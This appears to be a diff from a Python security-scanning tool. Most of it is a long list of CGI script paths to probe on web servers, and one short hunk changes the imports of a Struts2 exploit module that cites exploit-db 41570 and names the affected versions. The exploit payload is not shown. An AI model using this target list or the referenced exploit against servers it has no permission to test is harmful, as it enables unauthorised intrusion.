r'/apps/web/vs_diag.cgi', r'/analyse.cgi',
r'/axis-cgi/buffer/command.cgi', r'/apps/web/vs_diag.cgi',
r'/b2-include/b2edit.showposts.php', r'/axis-cgi/buffer/command.cgi',
r'/bandwidth/index.cgi', r'/b2-include/b2edit.showposts.php',
r'/bigconf.cgi', r'/bandwidth/index.cgi',
r'/cartcart.cgi', r'/bigconf.cgi',
r'/cart.cgi', r'/cartcart.cgi',
r'/ccbill/whereami.cgi', r'/cart.cgi',
r'/cgi-bin/14all-1.1.cgi', r'/ccbill/whereami.cgi',
r'/cgi-bin/14all.cgi', r'/cgi-bin/14all-1.1.cgi',
r'/cgi-bin/a1disp3.cgi', r'/cgi-bin/14all.cgi',
r'/cgi-bin/a1stats/a1disp3.cgi', r'/cgi-bin/a1disp3.cgi',
r'/cgi-bin/a1stats/a1disp4.cgi', r'/cgi-bin/a1stats/a1disp3.cgi',
r'/cgi-bin/addbanner.cgi', r'/cgi-bin/a1stats/a1disp4.cgi',
r'/cgi-bin/add_ftp.cgi', r'/cgi-bin/addbanner.cgi',
r'/cgi-bin/adduser.cgi', r'/cgi-bin/add_ftp.cgi',
r'/cgi-bin/admin/admin.cgi', r'/cgi-bin/adduser.cgi',
r'/cgi-bin/admin.cgi', r'/cgi-bin/admin/admin.cgi',
r'/cgi-bin/admin/getparam.cgi', r'/cgi-bin/admin.cgi',
r'/cgi-bin/adminhot.cgi', r'/cgi-bin/admin/getparam.cgi',
r'/cgi-bin/admin.pl', r'/cgi-bin/adminhot.cgi',
r'/cgi-bin/admin/setup.cgi', r'/cgi-bin/admin.pl',
r'/cgi-bin/adminwww.cgi', r'/cgi-bin/admin/setup.cgi',
r'/cgi-bin/af.cgi', r'/cgi-bin/adminwww.cgi',
r'/cgi-bin/aglimpse.cgi', r'/cgi-bin/af.cgi',
r'/cgi-bin/alienform.cgi', r'/cgi-bin/aglimpse.cgi',
r'/cgi-bin/AnyBoard.cgi', r'/cgi-bin/alienform.cgi',
r'/cgi-bin/architext_query.cgi', r'/cgi-bin/AnyBoard.cgi',
r'/cgi-bin/astrocam.cgi', r'/cgi-bin/architext_query.cgi',
r'/cgi-bin/AT-admin.cgi', r'/cgi-bin/astrocam.cgi',
r'/cgi-bin/AT-generate.cgi', r'/cgi-bin/AT-admin.cgi',
r'/cgi-bin/auction/auction.cgi', r'/cgi-bin/AT-generate.cgi',
r'/cgi-bin/auktion.cgi', r'/cgi-bin/auction/auction.cgi',
r'/cgi-bin/ax-admin.cgi', r'/cgi-bin/auktion.cgi',
r'/cgi-bin/ax.cgi', r'/cgi-bin/ax-admin.cgi',
r'/cgi-bin/axs.cgi', r'/cgi-bin/ax.cgi',
r'/cgi-bin/badmin.cgi', r'/cgi-bin/axs.cgi',
r'/cgi-bin/banner.cgi', r'/cgi-bin/badmin.cgi',
r'/cgi-bin/bannereditor.cgi', r'/cgi-bin/banner.cgi',
r'/cgi-bin/bb-ack.sh', r'/cgi-bin/bannereditor.cgi',
r'/cgi-bin/bb-histlog.sh', r'/cgi-bin/bb-ack.sh',
r'/cgi-bin/bb-hist.sh', r'/cgi-bin/bb-histlog.sh',
r'/cgi-bin/bb-hostsvc.sh', r'/cgi-bin/bb-hist.sh',
r'/cgi-bin/bb-replog.sh', r'/cgi-bin/bb-hostsvc.sh',
r'/cgi-bin/bb-rep.sh', r'/cgi-bin/bb-replog.sh',
r'/cgi-bin/bbs_forum.cgi', r'/cgi-bin/bb-rep.sh',
r'/cgi-bin/bigconf.cgi', r'/cgi-bin/bbs_forum.cgi',
r'/cgi-bin/bizdb1-search.cgi', r'/cgi-bin/bigconf.cgi',
r'/cgi-bin/blog/mt-check.cgi', r'/cgi-bin/bizdb1-search.cgi',
r'/cgi-bin/blog/mt-load.cgi', r'/cgi-bin/blog/mt-check.cgi',
r'/cgi-bin/bnbform.cgi', r'/cgi-bin/blog/mt-load.cgi',
r'/cgi-bin/book.cgi', r'/cgi-bin/bnbform.cgi',
r'/cgi-bin/boozt/admin/index.cgi', r'/cgi-bin/book.cgi',
r'/cgi-bin/bsguest.cgi', r'/cgi-bin/boozt/admin/index.cgi',
r'/cgi-bin/bslist.cgi', r'/cgi-bin/bsguest.cgi',
r'/cgi-bin/build.cgi', r'/cgi-bin/bslist.cgi',
r'/cgi-bin/bulk/bulk.cgi', r'/cgi-bin/build.cgi',
r'/cgi-bin/cached_feed.cgi', r'/cgi-bin/bulk/bulk.cgi',
r'/cgi-bin/cachemgr.cgi', r'/cgi-bin/cached_feed.cgi',
r'/cgi-bin/calendar/index.cgi', r'/cgi-bin/cachemgr.cgi',
r'/cgi-bin/cartmanager.cgi', r'/cgi-bin/calendar/index.cgi',
r'/cgi-bin/cbmc/forums.cgi', r'/cgi-bin/cartmanager.cgi',
r'/cgi-bin/ccvsblame.cgi', r'/cgi-bin/cbmc/forums.cgi',
r'/cgi-bin/c_download.cgi', r'/cgi-bin/ccvsblame.cgi',
r'/cgi-bin/cgforum.cgi', r'/cgi-bin/c_download.cgi',
r'/cgi-bin/.cgi', r'/cgi-bin/cgforum.cgi',
r'/cgi-bin/cgi_process', r'/cgi-bin/.cgi',
r'/cgi-bin/classified.cgi', r'/cgi-bin/cgi_process',
r'/cgi-bin/classifieds.cgi', r'/cgi-bin/classified.cgi',
r'/cgi-bin/classifieds/classifieds.cgi', r'/cgi-bin/classifieds.cgi',
r'/cgi-bin/classifieds/index.cgi', r'/cgi-bin/classifieds/classifieds.cgi',
r'/cgi-bin/.cobalt/alert/service.cgi', r'/cgi-bin/classifieds/index.cgi',
r'/cgi-bin/.cobalt/message/message.cgi', r'/cgi-bin/.cobalt/alert/service.cgi',
r'/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi', r'/cgi-bin/.cobalt/message/message.cgi',
r'/cgi-bin/commandit.cgi', r'/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi',
r'/cgi-bin/commerce.cgi', r'/cgi-bin/commandit.cgi',
r'/cgi-bin/common/listrec.pl', r'/cgi-bin/commerce.cgi',
r'/cgi-bin/compatible.cgi', r'/cgi-bin/common/listrec.pl',
r'/cgi-bin/Count.cgi', r'/cgi-bin/compatible.cgi',
r'/cgi-bin/csChatRBox.cgi', r'/cgi-bin/Count.cgi',
r'/cgi-bin/csGuestBook.cgi', r'/cgi-bin/csChatRBox.cgi',
r'/cgi-bin/csLiveSupport.cgi', r'/cgi-bin/csGuestBook.cgi',
r'/cgi-bin/CSMailto.cgi', r'/cgi-bin/csLiveSupport.cgi',
r'/cgi-bin/CSMailto/CSMailto.cgi', r'/cgi-bin/CSMailto.cgi',
r'/cgi-bin/csNews.cgi', r'/cgi-bin/CSMailto/CSMailto.cgi',
r'/cgi-bin/csNewsPro.cgi', r'/cgi-bin/csNews.cgi',
r'/cgi-bin/csPassword.cgi', r'/cgi-bin/csNewsPro.cgi',
r'/cgi-bin/csPassword/csPassword.cgi', r'/cgi-bin/csPassword.cgi',
r'/cgi-bin/csSearch.cgi', r'/cgi-bin/csPassword/csPassword.cgi',
r'/cgi-bin/csv_db.cgi', r'/cgi-bin/csSearch.cgi',
r'/cgi-bin/cvsblame.cgi', r'/cgi-bin/csv_db.cgi',
r'/cgi-bin/cvslog.cgi', r'/cgi-bin/cvsblame.cgi',
r'/cgi-bin/cvsquery.cgi', r'/cgi-bin/cvslog.cgi',
r'/cgi-bin/cvsqueryform.cgi', r'/cgi-bin/cvsquery.cgi',
r'/cgi-bin/day5datacopier.cgi', r'/cgi-bin/cvsqueryform.cgi',
r'/cgi-bin/day5datanotifier.cgi', r'/cgi-bin/day5datacopier.cgi',
r'/cgi-bin/db_manager.cgi', r'/cgi-bin/day5datanotifier.cgi',
r'/cgi-bin/dbman/db.cgi', r'/cgi-bin/db_manager.cgi',
r'/cgi-bin/dcforum.cgi', r'/cgi-bin/dbman/db.cgi',
r'/cgi-bin/dcshop.cgi', r'/cgi-bin/dcforum.cgi',
r'/cgi-bin/dfire.cgi', r'/cgi-bin/dcshop.cgi',
r'/cgi-bin/diagnose.cgi', r'/cgi-bin/dfire.cgi',
r'/cgi-bin/dig.cgi', r'/cgi-bin/diagnose.cgi',
r'/cgi-bin/directorypro.cgi', r'/cgi-bin/dig.cgi',
r'/cgi-bin/download.cgi', r'/cgi-bin/directorypro.cgi',
r'/cgi-bin/e87_Ba79yo87.cgi', r'/cgi-bin/download.cgi',
r'/cgi-bin/emu/html/emumail.cgi', r'/cgi-bin/e87_Ba79yo87.cgi',
r'/cgi-bin/emumail.cgi', r'/cgi-bin/emu/html/emumail.cgi',
r'/cgi-bin/emumail/emumail.cgi', r'/cgi-bin/emumail.cgi',
r'/cgi-bin/enter.cgi', r'/cgi-bin/emumail/emumail.cgi',
r'/cgi-bin/environ.cgi', r'/cgi-bin/enter.cgi',
r'/cgi-bin/ezadmin.cgi', r'/cgi-bin/environ.cgi',
r'/cgi-bin/ezboard.cgi', r'/cgi-bin/ezadmin.cgi',
r'/cgi-bin/ezman.cgi', r'/cgi-bin/ezboard.cgi',
r'/cgi-bin/ezshopper2/loadpage.cgi', r'/cgi-bin/ezman.cgi',
r'/cgi-bin/ezshopper3/loadpage.cgi', r'/cgi-bin/ezshopper2/loadpage.cgi',
r'/cgi-bin/ezshopper/loadpage.cgi', r'/cgi-bin/ezshopper3/loadpage.cgi',
r'/cgi-bin/ezshopper/search.cgi', r'/cgi-bin/ezshopper/loadpage.cgi',
r'/cgi-bin/faqmanager.cgi', r'/cgi-bin/ezshopper/search.cgi',
r'/cgi-bin/FileSeek2.cgi', r'/cgi-bin/faqmanager.cgi',
r'/cgi-bin/FileSeek.cgi', r'/cgi-bin/FileSeek2.cgi',
r'/cgi-bin/finger.cgi', r'/cgi-bin/FileSeek.cgi',
r'/cgi-bin/flexform.cgi', r'/cgi-bin/finger.cgi',
r'/cgi-bin/fom.cgi', r'/cgi-bin/flexform.cgi',
r'/cgi-bin/fom/fom.cgi', r'/cgi-bin/fom.cgi',
r'/cgi-bin/FormHandler.cgi', r'/cgi-bin/fom/fom.cgi',
r'/cgi-bin/FormMail.cgi', r'/cgi-bin/FormHandler.cgi',
r'/cgi-bin/gbadmin.cgi', r'/cgi-bin/FormMail.cgi',
r'/cgi-bin/gbook/gbook.cgi', r'/cgi-bin/gbadmin.cgi',
r'/cgi-bin/generate.cgi', r'/cgi-bin/gbook/gbook.cgi',
r'/cgi-bin/getdoc.cgi', r'/cgi-bin/generate.cgi',
r'/cgi-bin/gH.cgi', r'/cgi-bin/getdoc.cgi',
r'/cgi-bin/gm-authors.cgi', r'/cgi-bin/gH.cgi',
r'/cgi-bin/gm.cgi', r'/cgi-bin/gm-authors.cgi',
r'/cgi-bin/gm-cplog.cgi', r'/cgi-bin/gm.cgi',
r'/cgi-bin/guestbook.cgi', r'/cgi-bin/gm-cplog.cgi',
r'/cgi-bin/handler', r'/cgi-bin/guestbook.cgi',
r'/cgi-bin/handler.cgi', r'/cgi-bin/handler',
r'/cgi-bin/handler/netsonar', r'/cgi-bin/handler.cgi',
r'/cgi-bin/hitview.cgi', r'/cgi-bin/handler/netsonar',
r'/cgi-bin/hsx.cgi', r'/cgi-bin/hitview.cgi',
r'/cgi-bin/html2chtml.cgi', r'/cgi-bin/hsx.cgi',
r'/cgi-bin/html2wml.cgi', r'/cgi-bin/html2chtml.cgi',
r'/cgi-bin/htsearch.cgi', r'/cgi-bin/html2wml.cgi',
r'/cgi-bin/hw.sh', # testing r'/cgi-bin/htsearch.cgi',
r'/cgi-bin/icat', r'/cgi-bin/hw.sh', # testing
r'/cgi-bin/if/admin/nph-build.cgi', r'/cgi-bin/icat',
r'/cgi-bin/ikonboard/help.cgi', r'/cgi-bin/if/admin/nph-build.cgi',
r'/cgi-bin/ImageFolio/admin/admin.cgi', r'/cgi-bin/ikonboard/help.cgi',
r'/cgi-bin/imageFolio.cgi', r'/cgi-bin/ImageFolio/admin/admin.cgi',
r'/cgi-bin/index.cgi', r'/cgi-bin/imageFolio.cgi',
r'/cgi-bin/infosrch.cgi', r'/cgi-bin/index.cgi',
r'/cgi-bin/jammail.pl', r'/cgi-bin/infosrch.cgi',
r'/cgi-bin/journal.cgi', r'/cgi-bin/jammail.pl',
r'/cgi-bin/lastlines.cgi', r'/cgi-bin/journal.cgi',
r'/cgi-bin/loadpage.cgi', r'/cgi-bin/lastlines.cgi',
r'/cgi-bin/login.cgi', r'/cgi-bin/loadpage.cgi',
r'/cgi-bin/logit.cgi', r'/cgi-bin/login.cgi',
r'/cgi-bin/log-reader.cgi', r'/cgi-bin/logit.cgi',
r'/cgi-bin/lookwho.cgi', r'/cgi-bin/log-reader.cgi',
r'/cgi-bin/lwgate.cgi', r'/cgi-bin/lookwho.cgi',
r'/cgi-bin/MachineInfo', r'/cgi-bin/lwgate.cgi',
r'/cgi-bin/MachineInfo', r'/cgi-bin/MachineInfo',
r'/cgi-bin/magiccard.cgi', r'/cgi-bin/MachineInfo',
r'/cgi-bin/mail/emumail.cgi', r'/cgi-bin/magiccard.cgi',
r'/cgi-bin/maillist.cgi', r'/cgi-bin/mail/emumail.cgi',
r'/cgi-bin/mailnews.cgi', r'/cgi-bin/maillist.cgi',
r'/cgi-bin/mail/nph-mr.cgi', r'/cgi-bin/mailnews.cgi',
r'/cgi-bin/main.cgi', r'/cgi-bin/mail/nph-mr.cgi',
r'/cgi-bin/main_menu.pl', r'/cgi-bin/main.cgi',
r'/cgi-bin/man.sh', r'/cgi-bin/main_menu.pl',
r'/cgi-bin/mini_logger.cgi', r'/cgi-bin/man.sh',
r'/cgi-bin/mmstdod.cgi', r'/cgi-bin/mini_logger.cgi',
r'/cgi-bin/moin.cgi', r'/cgi-bin/mmstdod.cgi',
r'/cgi-bin/mojo/mojo.cgi', r'/cgi-bin/moin.cgi',
r'/cgi-bin/mrtg.cgi', r'/cgi-bin/mojo/mojo.cgi',
r'/cgi-bin/mt.cgi', r'/cgi-bin/mrtg.cgi',
r'/cgi-bin/mt/mt.cgi', r'/cgi-bin/mt.cgi',
r'/cgi-bin/mt/mt-check.cgi', r'/cgi-bin/mt/mt.cgi',
r'/cgi-bin/mt/mt-load.cgi', r'/cgi-bin/mt/mt-check.cgi',
r'/cgi-bin/mt-static/mt-check.cgi', r'/cgi-bin/mt/mt-load.cgi',
r'/cgi-bin/mt-static/mt-load.cgi', r'/cgi-bin/mt-static/mt-check.cgi',
r'/cgi-bin/musicqueue.cgi', r'/cgi-bin/mt-static/mt-load.cgi',
r'/cgi-bin/myguestbook.cgi', r'/cgi-bin/musicqueue.cgi',
r'/cgi-bin/.namazu.cgi', r'/cgi-bin/myguestbook.cgi',
r'/cgi-bin/nbmember.cgi', r'/cgi-bin/.namazu.cgi',
r'/cgi-bin/netauth.cgi', r'/cgi-bin/nbmember.cgi',
r'/cgi-bin/netpad.cgi', r'/cgi-bin/netauth.cgi',
r'/cgi-bin/newsdesk.cgi', r'/cgi-bin/netpad.cgi',
r'/cgi-bin/nlog-smb.cgi', r'/cgi-bin/newsdesk.cgi',
r'/cgi-bin/nph-emumail.cgi', r'/cgi-bin/nlog-smb.cgi',
r'/cgi-bin/nph-exploitscanget.cgi', r'/cgi-bin/nph-emumail.cgi',
r'/cgi-bin/nph-publish.cgi', r'/cgi-bin/nph-exploitscanget.cgi',
r'/cgi-bin/nph-test.cgi', r'/cgi-bin/nph-publish.cgi',
r'/cgi-bin/pagelog.cgi', r'/cgi-bin/nph-test.cgi',
r'/cgi-bin/pbcgi.cgi', r'/cgi-bin/pagelog.cgi',
r'/cgi-bin/perlshop.cgi', r'/cgi-bin/pbcgi.cgi',
r'/cgi-bin/pfdispaly.cgi', r'/cgi-bin/perlshop.cgi',
r'/cgi-bin/pfdisplay.cgi', r'/cgi-bin/pfdispaly.cgi',
r'/cgi-bin/phf.cgi', r'/cgi-bin/pfdisplay.cgi',
r'/cgi-bin/photo/manage.cgi', r'/cgi-bin/phf.cgi',
r'/cgi-bin/photo/protected/manage.cgi', r'/cgi-bin/photo/manage.cgi',
r'/cgi-bin/php-cgi', r'/cgi-bin/photo/protected/manage.cgi',
r'/cgi-bin/php.cgi', r'/cgi-bin/php-cgi',
r'/cgi-bin/php.fcgi', r'/cgi-bin/php.cgi',
r'/cgi-bin/ping.sh', r'/cgi-bin/php.fcgi',
r'/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi', r'/cgi-bin/ping.sh',
r'/cgi-bin/pollssi.cgi', r'/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi',
r'/cgi-bin/postcards.cgi', r'/cgi-bin/pollssi.cgi',
r'/cgi-bin/powerup/r.cgi', r'/cgi-bin/postcards.cgi',
r'/cgi-bin/printenv', r'/cgi-bin/powerup/r.cgi',
r'/cgi-bin/probecontrol.cgi', r'/cgi-bin/printenv',
r'/cgi-bin/profile.cgi', r'/cgi-bin/probecontrol.cgi',
r'/cgi-bin/publisher/search.cgi', r'/cgi-bin/profile.cgi',
r'/cgi-bin/quickstore.cgi', r'/cgi-bin/publisher/search.cgi',
r'/cgi-bin/quizme.cgi', r'/cgi-bin/quickstore.cgi',
r'/cgi-bin/ratlog.cgi', r'/cgi-bin/quizme.cgi',
r'/cgi-bin/r.cgi', r'/cgi-bin/ratlog.cgi',
r'/cgi-bin/register.cgi', r'/cgi-bin/r.cgi',
r'/cgi-bin/replicator/webpage.cgi/', r'/cgi-bin/register.cgi',
r'/cgi-bin/responder.cgi', r'/cgi-bin/replicator/webpage.cgi/',
r'/cgi-bin/robadmin.cgi', r'/cgi-bin/responder.cgi',
r'/cgi-bin/robpoll.cgi', r'/cgi-bin/robadmin.cgi',
r'/cgi-bin/rtpd.cgi', r'/cgi-bin/robpoll.cgi',
r'/cgi-bin/sbcgi/sitebuilder.cgi', r'/cgi-bin/rtpd.cgi',
r'/cgi-bin/scoadminreg.cgi', r'/cgi-bin/sbcgi/sitebuilder.cgi',
r'/cgi-bin-sdb/printenv', r'/cgi-bin/scoadminreg.cgi',
r'/cgi-bin/sdbsearch.cgi', r'/cgi-bin-sdb/printenv',
r'/cgi-bin/search', r'/cgi-bin/sdbsearch.cgi',
r'/cgi-bin/search.cgi', r'/cgi-bin/search',
r'/cgi-bin/search/search.cgi', r'/cgi-bin/search.cgi',
r'/cgi-bin/sendform.cgi', r'/cgi-bin/search/search.cgi',
r'/cgi-bin/shop.cgi', r'/cgi-bin/sendform.cgi',
r'/cgi-bin/shopper.cgi', r'/cgi-bin/shop.cgi',
r'/cgi-bin/shopplus.cgi', r'/cgi-bin/shopper.cgi',
r'/cgi-bin/showcheckins.cgi', r'/cgi-bin/shopplus.cgi',
r'/cgi-bin/simplestguest.cgi', r'/cgi-bin/showcheckins.cgi',
r'/cgi-bin/simplestmail.cgi', r'/cgi-bin/simplestguest.cgi',
r'/cgi-bin/smartsearch.cgi', r'/cgi-bin/simplestmail.cgi',
r'/cgi-bin/smartsearch/smartsearch.cgi', r'/cgi-bin/smartsearch.cgi',
r'/cgi-bin/snorkerz.bat', r'/cgi-bin/smartsearch/smartsearch.cgi',
r'/cgi-bin/snorkerz.bat', r'/cgi-bin/snorkerz.bat',
r'/cgi-bin/snorkerz.cmd', r'/cgi-bin/snorkerz.bat',
r'/cgi-bin/snorkerz.cmd', r'/cgi-bin/snorkerz.cmd',
r'/cgi-bin/sojourn.cgi', r'/cgi-bin/snorkerz.cmd',
r'/cgi-bin/spin_client.cgi', r'/cgi-bin/sojourn.cgi',
r'/cgi-bin/start.cgi', r'/cgi-bin/spin_client.cgi',
r'/cgi-bin/status', r'/cgi-bin/start.cgi',
r'/cgi-bin/status_cgi', r'/cgi-bin/status',
r'/cgi-bin/store/agora.cgi', r'/cgi-bin/status_cgi',
r'/cgi-bin/store.cgi', r'/cgi-bin/store/agora.cgi',
r'/cgi-bin/store/index.cgi', r'/cgi-bin/store.cgi',
r'/cgi-bin/survey.cgi', r'/cgi-bin/store/index.cgi',
r'/cgi-bin/sync.cgi', r'/cgi-bin/survey.cgi',
r'/cgi-bin/talkback.cgi', r'/cgi-bin/sync.cgi',
r'/cgi-bin/technote/main.cgi', r'/cgi-bin/talkback.cgi',
r'/cgi-bin/test2.pl', r'/cgi-bin/technote/main.cgi',
r'/cgi-bin/test-cgi', r'/cgi-bin/test2.pl',
r'/cgi-bin/test.cgi', r'/cgi-bin/test-cgi',
r'/cgi-bin/testing_whatever', r'/cgi-bin/test.cgi',
r'/cgi-bin/test/test.cgi', r'/cgi-bin/testing_whatever',
r'/cgi-bin/tidfinder.cgi', r'/cgi-bin/test/test.cgi',
r'/cgi-bin/tigvote.cgi', r'/cgi-bin/tidfinder.cgi',
r'/cgi-bin/title.cgi', r'/cgi-bin/tigvote.cgi',
r'/cgi-bin/top.cgi', r'/cgi-bin/title.cgi',
r'/cgi-bin/traffic.cgi', r'/cgi-bin/top.cgi',
r'/cgi-bin/troops.cgi', r'/cgi-bin/traffic.cgi',
r'/cgi-bin/ttawebtop.cgi/', r'/cgi-bin/troops.cgi',
r'/cgi-bin/ultraboard.cgi', r'/cgi-bin/ttawebtop.cgi/',
r'/cgi-bin/upload.cgi', r'/cgi-bin/ultraboard.cgi',
r'/cgi-bin/urlcount.cgi', r'/cgi-bin/upload.cgi',
r'/cgi-bin/viewcvs.cgi', r'/cgi-bin/urlcount.cgi',
r'/cgi-bin/view_help.cgi', r'/cgi-bin/viewcvs.cgi',
r'/cgi-bin/viralator.cgi', r'/cgi-bin/view_help.cgi',
r'/cgi-bin/virgil.cgi', r'/cgi-bin/viralator.cgi',
r'/cgi-bin/vote.cgi', r'/cgi-bin/virgil.cgi',
r'/cgi-bin/vpasswd.cgi', r'/cgi-bin/vote.cgi',
r'/cgi-bin/way-board.cgi', r'/cgi-bin/vpasswd.cgi',
r'/cgi-bin/way-board/way-board.cgi', r'/cgi-bin/way-board.cgi',
r'/cgi-bin/webbbs.cgi', r'/cgi-bin/way-board/way-board.cgi',
r'/cgi-bin/webcart/webcart.cgi', r'/cgi-bin/webbbs.cgi',
r'/cgi-bin/webdist.cgi', r'/cgi-bin/webcart/webcart.cgi',
r'/cgi-bin/webif.cgi', r'/cgi-bin/webdist.cgi',
r'/cgi-bin/webmail/html/emumail.cgi', r'/cgi-bin/webif.cgi',
r'/cgi-bin/webmap.cgi', r'/cgi-bin/webmail/html/emumail.cgi',
r'/cgi-bin/webspirs.cgi', r'/cgi-bin/webmap.cgi',
r'/cgi-bin/Web_Store/web_store.cgi', r'/cgi-bin/webspirs.cgi',
r'/cgi-bin/whois.cgi', r'/cgi-bin/Web_Store/web_store.cgi',
r'/cgi-bin/whois_raw.cgi', r'/cgi-bin/whois.cgi',
r'/cgi-bin/whois/whois.cgi', r'/cgi-bin/whois_raw.cgi',
r'/cgi-bin/wrap', r'/cgi-bin/whois/whois.cgi',
r'/cgi-bin/wrap.cgi', r'/cgi-bin/wrap',
r'/cgi-bin/wwwboard.cgi.cgi', r'/cgi-bin/wrap.cgi',
r'/cgi-bin/YaBB/YaBB.cgi', r'/cgi-bin/wwwboard.cgi.cgi',
r'/cgi-bin/zml.cgi', r'/cgi-bin/YaBB/YaBB.cgi',
r'/cgi-mod/index.cgi', r'/cgi-bin/zml.cgi',
r'/cgis/wwwboard/wwwboard.cgi', r'/cgi-mod/index.cgi',
r'/cgi-sys/addalink.cgi', r'/cgis/wwwboard/wwwboard.cgi',
r'/cgi-sys/defaultwebpage.cgi', r'/cgi-sys/addalink.cgi',
r'/cgi-sys/domainredirect.cgi', r'/cgi-sys/defaultwebpage.cgi',
r'/cgi-sys/entropybanner.cgi', r'/cgi-sys/domainredirect.cgi',
r'/cgi-sys/entropysearch.cgi', r'/cgi-sys/entropybanner.cgi',
r'/cgi-sys/FormMail-clone.cgi', r'/cgi-sys/entropysearch.cgi',
r'/cgi-sys/helpdesk.cgi', r'/cgi-sys/FormMail-clone.cgi',
r'/cgi-sys/mchat.cgi', r'/cgi-sys/helpdesk.cgi',
r'/cgi-sys/randhtml.cgi', r'/cgi-sys/mchat.cgi',
r'/cgi-sys/realhelpdesk.cgi', r'/cgi-sys/randhtml.cgi',
r'/cgi-sys/realsignup.cgi', r'/cgi-sys/realhelpdesk.cgi',
r'/cgi-sys/signup.cgi', r'/cgi-sys/realsignup.cgi',
r'/connector.cgi', r'/cgi-sys/signup.cgi',
r'/cp/rac/nsManager.cgi', r'/connector.cgi',
r'/create_release.sh', r'/cp/rac/nsManager.cgi',
r'/CSNews.cgi', r'/create_release.sh',
r'/csPassword.cgi', r'/CSNews.cgi',
r'/dcadmin.cgi', r'/csPassword.cgi',
r'/dcboard.cgi', r'/dcadmin.cgi',
r'/dcforum.cgi', r'/dcboard.cgi',
r'/dcforum/dcforum.cgi', r'/dcforum.cgi',
r'/debuff.cgi', r'/dcforum/dcforum.cgi',
r'/debug.cgi', r'/debuff.cgi',
r'/details.cgi', r'/debug.cgi',
r'/edittag/edittag.cgi', r'/details.cgi',
r'/emumail.cgi', r'/edittag/edittag.cgi',
r'/enter_buff.cgi', r'/emumail.cgi',
r'/enter_bug.cgi', r'/enter_buff.cgi',
r'/ez2000/ezadmin.cgi', r'/enter_bug.cgi',
r'/ez2000/ezboard.cgi', r'/ez2000/ezadmin.cgi',
r'/ez2000/ezman.cgi', r'/ez2000/ezboard.cgi',
r'/fcgi-bin/echo', r'/ez2000/ezman.cgi',
r'/fcgi-bin/echo', r'/fcgi-bin/echo',
r'/fcgi-bin/echo2', r'/fcgi-bin/echo',
r'/fcgi-bin/echo2', r'/fcgi-bin/echo2',
r'/Gozila.cgi', r'/fcgi-bin/echo2',
r'/hitmatic/analyse.cgi', r'/Gozila.cgi',
r'/hp_docs/cgi-bin/index.cgi', r'/hitmatic/analyse.cgi',
r'/html/cgi-bin/cgicso', r'/hp_docs/cgi-bin/index.cgi',
r'/html/cgi-bin/cgicso', r'/html/cgi-bin/cgicso',
r'/index.cgi', r'/html/cgi-bin/cgicso',
r'/info.cgi', r'/index.cgi',
r'/infosrch.cgi', r'/info.cgi',
r'/login.cgi', r'/infosrch.cgi',
r'/mailview.cgi', r'/login.cgi',
r'/main.cgi', r'/mailview.cgi',
r'/megabook/admin.cgi', r'/main.cgi',
r'/ministats/admin.cgi', r'/megabook/admin.cgi',
r'/mods/apage/apage.cgi', r'/ministats/admin.cgi',
r'/_mt/mt.cgi', r'/mods/apage/apage.cgi',
r'/musicqueue.cgi', r'/_mt/mt.cgi',
r'/ncbook.cgi', r'/musicqueue.cgi',
r'/newpro.cgi', r'/ncbook.cgi',
r'/newsletter.sh', r'/newpro.cgi',
r'/oem_webstage/cgi-bin/oemapp_cgi', r'/newsletter.sh',
r'/page.cgi', r'/oem_webstage/cgi-bin/oemapp_cgi',
r'/parse_xml.cgi', r'/page.cgi',
r'/photodata/manage.cgi', r'/parse_xml.cgi',
r'/photo/manage.cgi', r'/photodata/manage.cgi',
r'/print.cgi', r'/photo/manage.cgi',
r'/process_buff.cgi', r'/print.cgi',
r'/process_bug.cgi', r'/process_buff.cgi',
r'/pub/english.cgi', r'/process_bug.cgi',
r'/quikmail/nph-emumail.cgi', r'/pub/english.cgi',
r'/quikstore.cgi', r'/quikmail/nph-emumail.cgi',
r'/reviews/newpro.cgi', r'/quikstore.cgi',
r'/ROADS/cgi-bin/search.pl', r'/reviews/newpro.cgi',
r'/sample01.cgi', r'/ROADS/cgi-bin/search.pl',
r'/sample02.cgi', r'/sample01.cgi',
r'/sample03.cgi', r'/sample02.cgi',
r'/sample04.cgi', r'/sample03.cgi',
r'/sampleposteddata.cgi', r'/sample04.cgi',
r'/scancfg.cgi', r'/sampleposteddata.cgi',
r'/scancfg.cgi', r'/scancfg.cgi',
r'/servers/link.cgi', r'/scancfg.cgi',
r'/setpasswd.cgi', r'/servers/link.cgi',
r'/SetSecurity.shm', r'/setpasswd.cgi',
r'/shop/member_html.cgi', r'/SetSecurity.shm',
r'/shop/normal_html.cgi', r'/shop/member_html.cgi',
r'/site_searcher.cgi', r'/shop/normal_html.cgi',
r'/siteUserMod.cgi', r'/site_searcher.cgi',
r'/submit.cgi', r'/siteUserMod.cgi',
r'/technote/print.cgi', r'/submit.cgi',
r'/template.cgi', r'/technote/print.cgi',
r'/test.cgi', r'/template.cgi',
r'/ucsm/isSamInstalled.cgi', r'/test.cgi',
r'/upload.cgi', r'/ucsm/isSamInstalled.cgi',
r'/userreg.cgi', r'/upload.cgi',
r'/users/scripts/submit.cgi', r'/userreg.cgi',
r'/vood/cgi-bin/vood_view.cgi', r'/users/scripts/submit.cgi',
r'/Web_Store/web_store.cgi', r'/vood/cgi-bin/vood_view.cgi',
r'/webtools/bonsai/ccvsblame.cgi', r'/Web_Store/web_store.cgi',
r'/webtools/bonsai/cvsblame.cgi', r'/webtools/bonsai/ccvsblame.cgi',
r'/webtools/bonsai/cvslog.cgi', r'/webtools/bonsai/cvsblame.cgi',
r'/webtools/bonsai/cvsquery.cgi', r'/webtools/bonsai/cvslog.cgi',
r'/webtools/bonsai/cvsqueryform.cgi', r'/webtools/bonsai/cvsquery.cgi',
r'/webtools/bonsai/showcheckins.cgi', r'/webtools/bonsai/cvsqueryform.cgi',
r'/wwwadmin.cgi', r'/webtools/bonsai/showcheckins.cgi',
r'/wwwboard.cgi', r'/wwwadmin.cgi',
r'/wwwboard/wwwboard.cgi') r'/wwwboard.cgi',
r'/wwwboard/wwwboard.cgi'
)

View File

@ -3,13 +3,14 @@
code used is from https://www.exploit-db.com/exploits/41570/ code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10 Vulnerable struts2 versions <=2.3.31 and <=2.5.10
""" """
import urllib.request, urllib.error, urllib.parse
import http.client import http.client
import unicodedata import logging
import re import re
import ssl import ssl
import urllib.error
import urllib.parse
import urllib.request
import logging
